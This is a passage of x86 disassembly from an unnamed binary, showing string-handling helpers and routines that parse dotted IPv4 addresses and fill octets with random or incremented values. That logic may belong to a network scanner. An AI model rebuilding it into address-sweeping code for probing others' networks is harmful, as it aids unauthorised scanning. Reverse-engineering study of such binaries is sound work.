[ebp+arg_8], 0 jz short loc_407844 mov eax, [ebp+arg_8] mov [ebp+var_10], eax jmp short loc_40784B ; --------------------------------------------------------------------------- loc_407844: ; CODE XREF: sub_4077DD+5Dj mov [ebp+var_10], offset byte_41DF00 loc_40784B: ; CODE XREF: sub_4077DD+65j push 10h push [ebp+var_10] mov eax, [ebp+var_C] add eax, 0Ah push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_C] add eax, 1Ah push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push offset dword_418F2C mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_C] push offset sub_40764D call sub_4095A4 add esp, 14h locret_40789E: ; CODE XREF: sub_4077DD+46j leave retn sub_4077DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078A0 proc near ; CODE XREF: sub_40A9CF+216p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4078B8 jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078B8: ; CODE XREF: sub_4078A0+14j ; sub_4078A0:loc_4078E2j cmp [ebp+var_4], 0 jnz short loc_4078C0 jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078C0: ; CODE XREF: sub_4078A0+1Cj mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_4078E0 mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 jmp short loc_4078E2 ; --------------------------------------------------------------------------- loc_4078E0: ; CODE XREF: sub_4078A0+33j jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078E2: ; CODE XREF: sub_4078A0+3Ej jmp short loc_4078B8 ; --------------------------------------------------------------------------- locret_4078E4: ; CODE XREF: sub_4078A0+16j ; sub_4078A0+1Ej ... leave retn sub_4078A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078E6 proc near ; CODE XREF: sub_407D42+Ap var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_4078FC ; --------------------------------------------------------------------------- loc_4078F5: ; CODE XREF: sub_4078E6:loc_407921j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4078FC: ; CODE XREF: sub_4078E6+Dj mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407923 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movsx ecx, [ebp+arg_4] cmp eax, ecx jnz short loc_407921 mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_407921: ; CODE XREF: sub_4078E6+32j jmp short loc_4078F5 ; --------------------------------------------------------------------------- loc_407923: ; CODE XREF: sub_4078E6+21j mov eax, [ebp+var_8] leave retn sub_4078E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407928 proc near ; CODE XREF: sub_40E618+2Bp ; sub_40E618+185p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_10], 0 jnz short loc_407963 mov eax, [ebp+arg_10] shl eax, 2 push eax push 0 push [ebp+arg_8] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] shl eax, 2 push eax push 0 push [ebp+arg_C] call sub_416B6A ; memset add esp, 0Ch xor eax, eax jmp locret_407A54 ; --------------------------------------------------------------------------- loc_407963: ; CODE XREF: sub_407928+Aj push [ebp+arg_0] push [ebp+arg_4] call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_4] push eax push offset dword_418F4C push [ebp+arg_0] call sub_40813C add esp, 0Ch mov ecx, [ebp+arg_8] mov [ecx], eax mov eax, [ebp+arg_C] mov ecx, [ebp+arg_4] mov [eax], ecx mov [ebp+var_8], 1 jmp short loc_4079A1 ; --------------------------------------------------------------------------- loc_40799A: ; CODE XREF: sub_407928:loc_407A4Cj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_4079A1: ; CODE XREF: sub_407928+70j mov eax, [ebp+var_8] cmp eax, [ebp+arg_10] jge loc_407A51 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] cmp dword ptr [ecx+eax*4-4], 0 jz short loc_407A0A lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov ecx, [ebp+var_8] mov edx, [ebp+arg_8] mov [edx+ecx*4], eax mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] cmp dword ptr [ecx+eax*4], 0 jz short loc_4079F8 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] mov eax, [ecx+eax*4] sub eax, [ebp+arg_0] mov ecx, [ebp+arg_4] add ecx, eax mov [ebp+var_C], ecx jmp short loc_4079FC ; --------------------------------------------------------------------------- loc_4079F8: ; CODE XREF: sub_407928+B8j and [ebp+var_C], 0 loc_4079FC: ; CODE XREF: sub_407928+CEj mov eax, [ebp+var_8] mov ecx, [ebp+arg_C] mov edx, [ebp+var_C] mov [ecx+eax*4], edx jmp short loc_407A4C ; --------------------------------------------------------------------------- loc_407A0A: ; CODE XREF: sub_407928+90j mov eax, [ebp+arg_10] sub eax, [ebp+var_8] shl eax, 2 push eax push 0 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] lea eax, [ecx+eax*4] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] sub eax, [ebp+var_8] shl eax, 2 push eax push 0 mov eax, [ebp+var_8] mov ecx, [ebp+arg_C] lea eax, [ecx+eax*4] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_8] dec eax jmp short locret_407A54 ; --------------------------------------------------------------------------- loc_407A4C: ; CODE XREF: sub_407928+E0j jmp loc_40799A ; --------------------------------------------------------------------------- loc_407A51: ; CODE XREF: sub_407928+7Fj mov eax, [ebp+arg_10] locret_407A54: ; CODE XREF: sub_407928+36j ; sub_407928+122j leave retn sub_407928 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A56 proc near ; CODE XREF: sub_401146+6Bp ; sub_401146+CAp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_407A81 cmp ecx, 1 jz short loc_407A7E loc_407A6E: ; CODE XREF: sub_407A56+26j mov al, [esi] mov [edi], al test al, al jz short loc_407A81 inc esi inc edi dec ecx cmp ecx, 1 jnz short loc_407A6E loc_407A7E: ; CODE XREF: sub_407A56+16j mov byte ptr [edi], 0 loc_407A81: ; CODE XREF: sub_407A56+11j ; sub_407A56+1Ej pop edi pop esi pop ebx pop ebp retn sub_407A56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A86 proc near ; CODE XREF: sub_4097A7+17p ; sub_4098F3+17p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_407A97 ; --------------------------------------------------------------------------- loc_407A90: ; CODE XREF: sub_407A86+3Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407A97: ; CODE XREF: sub_407A86+8j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407AC6 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_407AC2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 39h jg short loc_407AC2 jmp short loc_407A90 ; --------------------------------------------------------------------------- loc_407AC2: ; CODE XREF: sub_407A86+2Aj ; sub_407A86+38j xor al, al jmp short locret_407AC8 ; --------------------------------------------------------------------------- loc_407AC6: ; CODE XREF: sub_407A86+1Cj mov al, 1 locret_407AC8: ; CODE XREF: sub_407A86+3Ej leave retn sub_407A86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407ACA proc near ; CODE XREF: sub_401000+F6p ; sub_4148CE+61p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push [ebp+arg_8] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax and [ebp+var_8], 0 and [ebp+var_C], 0 jmp short loc_407AED ; --------------------------------------------------------------------------- loc_407AE6: ; CODE XREF: sub_407ACA:loc_407B58j mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax loc_407AED: ; CODE XREF: sub_407ACA+1Aj mov eax, [ebp+arg_4] sub eax, [ebp+var_4] cmp [ebp+var_C], eax jg short loc_407B5A mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jz short loc_407B37 mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] add ecx, 20h cmp eax, ecx jz short loc_407B37 mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] sub ecx, 20h cmp eax, ecx jnz short loc_407B58 loc_407B37: ; CODE XREF: sub_407ACA+3Fj ; sub_407ACA+55j push [ebp+var_4] push [ebp+arg_8] mov eax, [ebp+arg_0] add eax, [ebp+var_C] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_407B58 mov eax, [ebp+arg_0] add eax, [ebp+var_C] jmp short locret_407B5C ; --------------------------------------------------------------------------- loc_407B58: ; CODE XREF: sub_407ACA+6Bj ; sub_407ACA+84j jmp short loc_407AE6 ; --------------------------------------------------------------------------- loc_407B5A: ; CODE XREF: sub_407ACA+2Cj xor eax, eax locret_407B5C: ; CODE XREF: sub_407ACA+8Cj leave retn sub_407ACA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407B5E proc near ; CODE XREF: sub_40A2D2+11Dp ; sub_40E943+20p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_407B70 ; --------------------------------------------------------------------------- loc_407B69: ; CODE XREF: sub_407B5E:loc_407BEEj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407B70: ; CODE XREF: sub_407B5E+9j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407B85 mov eax, [ebp+arg_0] add eax, [ebp+var_4] jmp short locret_407BF3 ; --------------------------------------------------------------------------- loc_407B85: ; CODE XREF: sub_407B5E+1Dj mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_407BA1 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 0Ah jnz short loc_407BEE loc_407BA1: ; CODE XREF: sub_407B5E+33j and [ebp+var_8], 0 jmp short loc_407BAE ; --------------------------------------------------------------------------- loc_407BA7: ; CODE XREF: sub_407B5E:loc_407BECj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_407BAE: ; CODE XREF: sub_407B5E+47j mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] movsx eax, byte ptr [ecx+eax] cmp eax, 0Dh jz short loc_407BD2 mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] movsx eax, byte ptr [ecx+eax] cmp eax, 0Ah jnz short loc_407BE1 loc_407BD2: ; CODE XREF: sub_407B5E+60j mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] and byte ptr [ecx+eax], 0 jmp short loc_407BEC ; --------------------------------------------------------------------------- loc_407BE1: ; CODE XREF: sub_407B5E+72j mov eax, [ebp+arg_0] add eax, [ebp+var_4] add eax, [ebp+var_8] jmp short locret_407BF3 ; --------------------------------------------------------------------------- loc_407BEC: ; CODE XREF: sub_407B5E+81j jmp short loc_407BA7 ; --------------------------------------------------------------------------- loc_407BEE: ; CODE XREF: sub_407B5E+41j jmp loc_407B69 ; --------------------------------------------------------------------------- locret_407BF3: ; CODE XREF: sub_407B5E+25j ; sub_407B5E+8Cj leave retn sub_407B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BF5 proc near ; CODE XREF: sub_411A09+5Dp ; sub_411A09+F3p ... arg_0 = dword ptr 8 push ebp mov ebp, esp loc_407BF8: ; CODE XREF: sub_407BF5:loc_407C28j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_0] inc ecx mov [ebp+arg_0], ecx test eax, eax jz short loc_407C2A mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407C15 jmp short loc_407C2A ; --------------------------------------------------------------------------- loc_407C15: ; CODE XREF: sub_407BF5+1Cj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407C28 mov eax, [ebp+arg_0] and byte ptr [eax], 0 jmp short loc_407C2A ; --------------------------------------------------------------------------- loc_407C28: ; CODE XREF: sub_407BF5+29j jmp short loc_407BF8 ; --------------------------------------------------------------------------- loc_407C2A: ; CODE XREF: sub_407BF5+12j ; sub_407BF5+1Ej ... pop ebp retn sub_407BF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407C2C proc near ; CODE XREF: sub_4083AD+2F2p ; sub_40CA29+91p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] mov [ebp+var_C], eax and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_407C49 ; --------------------------------------------------------------------------- loc_407C42: ; CODE XREF: sub_407C2C+31j ; sub_407C2C:loc_407CCDj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407C49: ; CODE XREF: sub_407C2C+14j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407C68 cmp [ebp+var_C], 0 jz short loc_407C5F jmp short loc_407C42 ; --------------------------------------------------------------------------- loc_407C5F: ; CODE XREF: sub_407C2C+2Fj mov [ebp+var_C], 1 jmp short loc_407C6C ; --------------------------------------------------------------------------- loc_407C68: ; CODE XREF: sub_407C2C+29j and [ebp+var_C], 0 loc_407C6C: ; CODE XREF: sub_407C2C+3Aj mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] mov [eax], cl mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407CCD cmp [ebp+arg_8], 0 jz short loc_407CCB cmp [ebp+var_8], 0 jz short loc_407CCB loc_407C9C: ; CODE XREF: sub_407C2C:loc_407CC9j push 1 pop eax test eax, eax jz short loc_407CCB mov eax, [ebp+arg_0] add eax, [ebp+var_8] and byte ptr [eax], 0 mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407CC7 cmp [ebp+var_8], 0 jnz short loc_407CC9 loc_407CC7: ; CODE XREF: sub_407C2C+93j jmp short loc_407CCB ; --------------------------------------------------------------------------- loc_407CC9: ; CODE XREF: sub_407C2C+99j jmp short loc_407C9C ; --------------------------------------------------------------------------- loc_407CCB: ; CODE XREF: sub_407C2C+68j ; sub_407C2C+6Ej ... jmp short locret_407CD2 ; --------------------------------------------------------------------------- loc_407CCD: ; CODE XREF: sub_407C2C+62j jmp loc_407C42 ; --------------------------------------------------------------------------- locret_407CD2: ; CODE XREF: sub_407C2C:loc_407CCBj leave retn sub_407C2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407CD4 proc near ; CODE XREF: sub_407D42+5Fp ; sub_407D42+79p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_407CE5 ; --------------------------------------------------------------------------- loc_407CDE: ; CODE XREF: sub_407CD4+68j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407CE5: ; CODE XREF: sub_407CD4+8j cmp [ebp+var_4], 4 jge short loc_407D3E mov eax, [ebp+arg_4] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 2Eh jnz short loc_407D0E mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] jmp short locret_407D40 ; --------------------------------------------------------------------------- loc_407D0E: ; CODE XREF: sub_407CD4+23j mov eax, [ebp+arg_4] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407D2C mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+arg_4] add eax, [ebp+var_4] jmp short locret_407D40 ; --------------------------------------------------------------------------- loc_407D2C: ; CODE XREF: sub_407CD4+45j mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx] mov [eax], cl jmp short loc_407CDE ; --------------------------------------------------------------------------- loc_407D3E: ; CODE XREF: sub_407CD4+15j xor eax, eax locret_407D40: ; CODE XREF: sub_407CD4+38j ; sub_407CD4+56j leave retn sub_407CD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407D42 proc near ; CODE XREF: sub_407F3D+19p ; sub_407F3D+3Fp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx push 2Eh push [ebp+arg_0] call sub_4078E6 pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 3 jle short loc_407D63 xor eax, eax jmp locret_407E0A ; --------------------------------------------------------------------------- loc_407D63: ; CODE XREF: sub_407D42+18j mov eax, [ebp+arg_10] and byte ptr [eax], 0 mov eax, [ebp+arg_C] and byte ptr [eax], 0 mov eax, [ebp+arg_8] and byte ptr [eax], 0 mov eax, [ebp+arg_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_407DE9 cmp [ebp+var_8], 1 jz short loc_407DCF cmp [ebp+var_8], 2 jz short loc_407DB5 cmp [ebp+var_8], 3 jz short loc_407D9B jmp short loc_407E08 ; --------------------------------------------------------------------------- loc_407D9B: ; CODE XREF: sub_407D42+55j push [ebp+arg_0] push [ebp+arg_4] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DB5 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DB5: ; CODE XREF: sub_407D42+4Fj ; sub_407D42+6Dj push [ebp+arg_0] push [ebp+arg_8] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DCF xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DCF: ; CODE XREF: sub_407D42+49j ; sub_407D42+87j push [ebp+arg_0] push [ebp+arg_C] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DE9 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DE9: ; CODE XREF: sub_407D42+43j ; sub_407D42+A1j push [ebp+arg_0] push [ebp+arg_10] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407E03 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407E03: ; CODE XREF: sub_407D42+BBj push 1 pop eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407E08: ; CODE XREF: sub_407D42+57j xor eax, eax locret_407E0A: ; CODE XREF: sub_407D42+1Cj ; sub_407D42+71j ... leave retn sub_407D42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407E0C proc near ; CODE XREF: sub_407F3D+A3p ; sub_407F3D+C1p ... var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 72h jnz short loc_407E4A mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+1] test eax, eax jnz short loc_407E4A push 0Ah push [ebp+arg_C] push 0FFh push 0 call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch mov eax, [ebp+arg_10] jmp locret_407F3B ; --------------------------------------------------------------------------- loc_407E4A: ; CODE XREF: sub_407E0C+Dj ; sub_407E0C+18j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 73h jz short loc_407E64 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 69h jnz loc_407EF9 loc_407E64: ; CODE XREF: sub_407E0C+47j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+1] test eax, eax jnz loc_407EF9 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407EB3 cmp [ebp+arg_10], 0 jz short loc_407EB3 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx movzx eax, al inc eax mov [ebp+var_4], al push 0Ah push [ebp+arg_C] movzx eax, [ebp+var_4] push eax call sub_416F7A ; _itoa add esp, 0Ch movzx eax, [ebp+var_4] neg eax sbb eax, eax inc eax jmp locret_407F3B ; --------------------------------------------------------------------------- loc_407EB3: ; CODE XREF: sub_407E0C+6Fj ; sub_407E0C+75j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407ECC push [ebp+arg_0] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407EF5 ; --------------------------------------------------------------------------- loc_407ECC: ; CODE XREF: sub_407E0C+AFj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 69h jnz short loc_407EE8 push offset dword_418F50 push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407EF5 ; --------------------------------------------------------------------------- loc_407EE8: ; CODE XREF: sub_407E0C+C9j push [ebp+arg_8] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_407EF5: ; CODE XREF: sub_407E0C+BEj ; sub_407E0C+DAj xor eax, eax jmp short locret_407F3B ; --------------------------------------------------------------------------- loc_407EF9: ; CODE XREF: sub_407E0C+52j ; sub_407E0C+61j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407F12 push [ebp+arg_4] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407F38 ; --------------------------------------------------------------------------- loc_407F12: ; CODE XREF: sub_407E0C+F5j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407F2B push [ebp+arg_0] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407F38 ; --------------------------------------------------------------------------- loc_407F2B: ; CODE XREF: sub_407E0C+10Ej push [ebp+arg_8] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_407F38: ; CODE XREF: sub_407E0C+104j ; sub_407E0C+11Dj mov eax, [ebp+arg_10] locret_407F3B: ; CODE XREF: sub_407E0C+39j ; sub_407E0C+A2j ... leave retn sub_407E0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F3D proc near ; CODE XREF: sub_41349C+192p ; sub_41349C+3DAp var_44 = byte ptr -44h var_40 = byte ptr -40h var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 44h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_44] push eax lea eax, [ebp+var_3C] push eax push [ebp+arg_0] call sub_407D42 add esp, 14h test eax, eax jnz short loc_407F69 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407F69: ; CODE XREF: sub_407F3D+23j lea eax, [ebp+var_14] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_40] push eax push [ebp+arg_4] call sub_407D42 add esp, 14h test eax, eax jnz short loc_407F8F xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407F8F: ; CODE XREF: sub_407F3D+49j lea eax, [ebp+var_34] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_1C] push eax push offset dword_41F018 call sub_407D42 add esp, 14h test eax, eax jnz short loc_407FB7 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407FB7: ; CODE XREF: sub_407F3D+71j movsx eax, [ebp+var_14] test eax, eax jnz short loc_407FC6 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407FC6: ; CODE XREF: sub_407F3D+80j mov [ebp+var_18], 1 push [ebp+var_18] lea eax, [ebp+var_38] push eax lea eax, [ebp+var_34] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_30] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_28] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_44] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_40] push eax lea eax, [ebp+var_3C] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax lea eax, [ebp+var_38] push eax lea eax, [ebp+var_30] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_20] push eax push offset dword_418F54 push [ebp+arg_8] call sub_416B5E ; sprintf add esp, 18h push 1 pop eax locret_408068: ; CODE XREF: sub_407F3D+27j ; sub_407F3D+4Dj ... leave retn sub_407F3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40806A proc near ; CODE XREF: sub_41349C+12Ap var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h lea eax, [ebp+var_4] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax push [ebp+arg_0] call sub_407D42 add esp, 14h test eax, eax jnz short loc_408096 xor eax, eax jmp locret_40813A ; --------------------------------------------------------------------------- loc_408096: ; CODE XREF: sub_40806A+23j lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax push offset dword_41F018 call sub_407D42 add esp, 14h test eax, eax jnz short loc_4080BB xor eax, eax jmp short locret_40813A ; --------------------------------------------------------------------------- loc_4080BB: ; CODE XREF: sub_40806A+4Bj movsx eax, [ebp+var_18] test eax, eax jnz short loc_4080D2 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_4080D2: ; CODE XREF: sub_40806A+57j movsx eax, [ebp+var_1C] test eax, eax jnz short loc_4080E9 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_1C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_4080E9: ; CODE XREF: sub_40806A+6Ej movsx eax, [ebp+var_20] test eax, eax jnz short loc_408100 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_20] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408100: ; CODE 